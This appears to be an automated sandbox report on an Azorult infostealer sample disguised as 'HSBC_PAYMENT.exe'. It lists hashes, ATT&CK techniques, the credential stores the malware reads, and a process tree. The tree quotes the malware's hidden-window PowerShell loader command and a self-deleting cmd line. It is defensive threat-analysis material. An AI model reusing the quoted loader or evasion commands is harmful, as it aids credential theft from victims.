azorult | 938b42f084ea40da98cbb0d6cab7f424f1c7e9d6580f67634995a01facb4d98b

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
25-07-2024 07:06

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General

Target

HSBC_PAYMENT.exe
Size

862KB
MD5

4f7f20d7e243b1dd4f3ce28e7367f76f
SHA1

426479e19a29e17607f0c159021fd965dbb42302
SHA256

938b42f084ea40da98cbb0d6cab7f424f1c7e9d6580f67634995a01facb4d98b
SHA512

a0a0f7e180f126a4b316208bc77bdb8dc978874c31616103d3f45e7d863a3b915d1ce1d6cdb1fb222bdf2ed5dab112ef44c393e402c3a1943f2bdb7d2a1322c2
SSDEEP

12288:Vt7ExDo//OtX1lxawkeVCGmQzVuoLZJNlM+gcPOtH3DwX0ZvDJ3HD6RJhZaiWKxj:XYDoeMwkejuoLD3RPOB33yvNWKxxd66b

Score

10^/10

azorult collection credential_access discovery execution infostealer spyware stealer trojan

Malware Config

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4992	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	strmmer.exe

Loads dropped DLL 7 IoCs

pid	Process
4052	strmmer.exe
4052	strmmer.exe
4052	strmmer.exe
4052	strmmer.exe
4052	strmmer.exe
4052	strmmer.exe
4052	strmmer.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	strmmer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	strmmer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	strmmer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Anraabelsens\Hyposternal.udk	HSBC_PAYMENT.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4052	strmmer.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4992	powershell.exe
4052	strmmer.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4992 set thread context of 4052	4992	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HSBC_PAYMENT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	strmmer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	strmmer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	strmmer.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
880	timeout.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4052	strmmer.exe
4052	strmmer.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4992	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4992	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 4992	4040	HSBC_PAYMENT.exe	87
PID 4040 wrote to memory of 4992	4040	HSBC_PAYMENT.exe	87
PID 4040 wrote to memory of 4992	4040	HSBC_PAYMENT.exe	87
PID 4992 wrote to memory of 4052	4992	powershell.exe	96
PID 4992 wrote to memory of 4052	4992	powershell.exe	96
PID 4992 wrote to memory of 4052	4992	powershell.exe	96
PID 4992 wrote to memory of 4052	4992	powershell.exe	96
PID 4992 wrote to memory of 4052	4992	powershell.exe	96
PID 4052 wrote to memory of 3464	4052	strmmer.exe	100
PID 4052 wrote to memory of 3464	4052	strmmer.exe	100
PID 4052 wrote to memory of 3464	4052	strmmer.exe	100
PID 3464 wrote to memory of 880	3464	cmd.exe	102
PID 3464 wrote to memory of 880	3464	cmd.exe	102
PID 3464 wrote to memory of 880	3464	cmd.exe	102

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	strmmer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	strmmer.exe

C:\Users\Admin\AppData\Local\Temp\HSBC_PAYMENT.exe
"C:\Users\Admin\AppData\Local\Temp\HSBC_PAYMENT.exe"
1⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Vartabed=Get-Content 'C:\Users\Admin\AppData\Local\Temp\forgrovelse\konstituerendes\Dullity.Fol';$Stratify=$Vartabed.SubString(70428,3);.$Stratify($Vartabed) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Users\Admin\AppData\Local\Temp\strmmer.exe
    "C:\Users\Admin\AppData\Local\Temp\strmmer.exe"
    3⤵
    - Checks computer location settings
    - Loads dropped DLL
    - Accesses Microsoft Outlook profiles
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:4052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "strmmer.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3464
    - - C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\system32\timeout.exe 3
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\4A0C5F9D\mozglue.dll

Filesize
135KB

MD5
9e682f1eb98a9d41468fc3e50f907635

SHA1
85e0ceca36f657ddf6547aa0744f0855a27527ee

SHA256
830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d

SHA512
230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\4A0C5F9D\msvcp140.dll

Filesize
429KB

MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
C:\Users\Admin\AppData\Local\Temp\4A0C5F9D\nss3.dll

Filesize
1.2MB

MD5
556ea09421a0f74d31c4c0a89a70dc23

SHA1
f739ba9b548ee64b13eb434a3130406d23f836e3

SHA256
f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb

SHA512
2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2

Download Submit
C:\Users\Admin\AppData\Local\Temp\4A0C5F9D\vcruntime140.dll

Filesize
81KB

MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_khpxcaj3.cyy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\forgrovelse\konstituerendes\Dullity.Fol

Filesize
68KB

MD5
c74b686e5d5f7d6a7a1aa23a9002d6d9

SHA1
adc10d9729c0cfb51b1614acc45f9882e9a087fe

SHA256
d39197c9c7f51d621d8c57e380a4bcb5c8ba56383944551f52e2f13c7ee80f6b

SHA512
e82038151aa0bee85e674d2d8bf101bc0d7d56f7aac53536d96c96a59363d0b862941a0e009985847ca5e9652de7df0970a24499b75b5a0480aaf8c73f15ef6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\forgrovelse\konstituerendes\Persongruppe.Nyh

Filesize
361KB

MD5
fddf48fa20791312c1d1edd67d72aaee

SHA1
76eaacddf99db66c697ff74cfebca24c119df73e

SHA256
4c2ec6eb7971b635f031bc10fc6b16860de5e78408690cd699918b875d522875

SHA512
45d70acf2c2657a5ed006ba0aa69287abaa29b1696715f5562fd0adeb31682546992657954db14a66e9dbf2e82e0e2eac4b3791ccd6b6a6dd3cdc4d3a6c88a35

Download Submit
C:\Users\Admin\AppData\Local\Temp\strmmer.exe

Filesize
862KB

MD5
4f7f20d7e243b1dd4f3ce28e7367f76f

SHA1
426479e19a29e17607f0c159021fd965dbb42302

SHA256
938b42f084ea40da98cbb0d6cab7f424f1c7e9d6580f67634995a01facb4d98b

SHA512
a0a0f7e180f126a4b316208bc77bdb8dc978874c31616103d3f45e7d863a3b915d1ce1d6cdb1fb222bdf2ed5dab112ef44c393e402c3a1943f2bdb7d2a1322c2

Download Submit
memory/4052-55-0x00000000004A0000-0x00000000016F4000-memory.dmp

Filesize
18.3MB

Download
memory/4052-47-0x0000000077C68000-0x0000000077C69000-memory.dmp

Filesize
4KB

Download
memory/4052-48-0x0000000077BE1000-0x0000000077D01000-memory.dmp

Filesize
1.1MB

Download
memory/4052-46-0x0000000077BE1000-0x0000000077D01000-memory.dmp

Filesize
1.1MB

Download
memory/4052-56-0x0000000000060000-0x0000000000087000-memory.dmp

Filesize
156KB

Download
memory/4052-173-0x00000000004A0000-0x00000000016F4000-memory.dmp

Filesize
18.3MB

Download
memory/4992-23-0x0000000005E50000-0x0000000005E6E000-memory.dmp

Filesize
120KB

Download
memory/4992-42-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-27-0x0000000006460000-0x0000000006482000-memory.dmp

Filesize
136KB

Download
memory/4992-30-0x0000000008040000-0x00000000086BA000-memory.dmp

Filesize
6.5MB

Download
memory/4992-32-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-33-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-34-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-26-0x0000000006370000-0x000000000638A000-memory.dmp

Filesize
104KB

Download
memory/4992-36-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-37-0x00000000086C0000-0x000000000E34E000-memory.dmp

Filesize
92.6MB

Download
memory/4992-38-0x000000007426E000-0x000000007426F000-memory.dmp

Filesize
4KB

Download
memory/4992-39-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-41-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-28-0x0000000007410000-0x00000000079B4000-memory.dmp

Filesize
5.6MB

Download
memory/4992-25-0x00000000063C0000-0x0000000006456000-memory.dmp

Filesize
600KB

Download
memory/4992-24-0x0000000005EF0000-0x0000000005F3C000-memory.dmp

Filesize
304KB

Download
memory/4992-5-0x000000007426E000-0x000000007426F000-memory.dmp

Filesize
4KB

Download
memory/4992-20-0x0000000005850000-0x0000000005BA4000-memory.dmp

Filesize
3.3MB

Download
memory/4992-12-0x00000000057E0000-0x0000000005846000-memory.dmp

Filesize
408KB

Download
memory/4992-11-0x0000000005770000-0x00000000057D6000-memory.dmp

Filesize
408KB

Download
memory/4992-57-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-10-0x0000000004E80000-0x0000000004EA2000-memory.dmp

Filesize
136KB

Download
memory/4992-9-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-7-0x0000000004F90000-0x00000000055B8000-memory.dmp

Filesize
6.2MB

Download
memory/4992-8-0x0000000074260000-0x0000000074A10000-memory.dmp

Filesize
7.7MB

Download
memory/4992-6-0x0000000002510000-0x0000000002546000-memory.dmp

Filesize
216KB

Download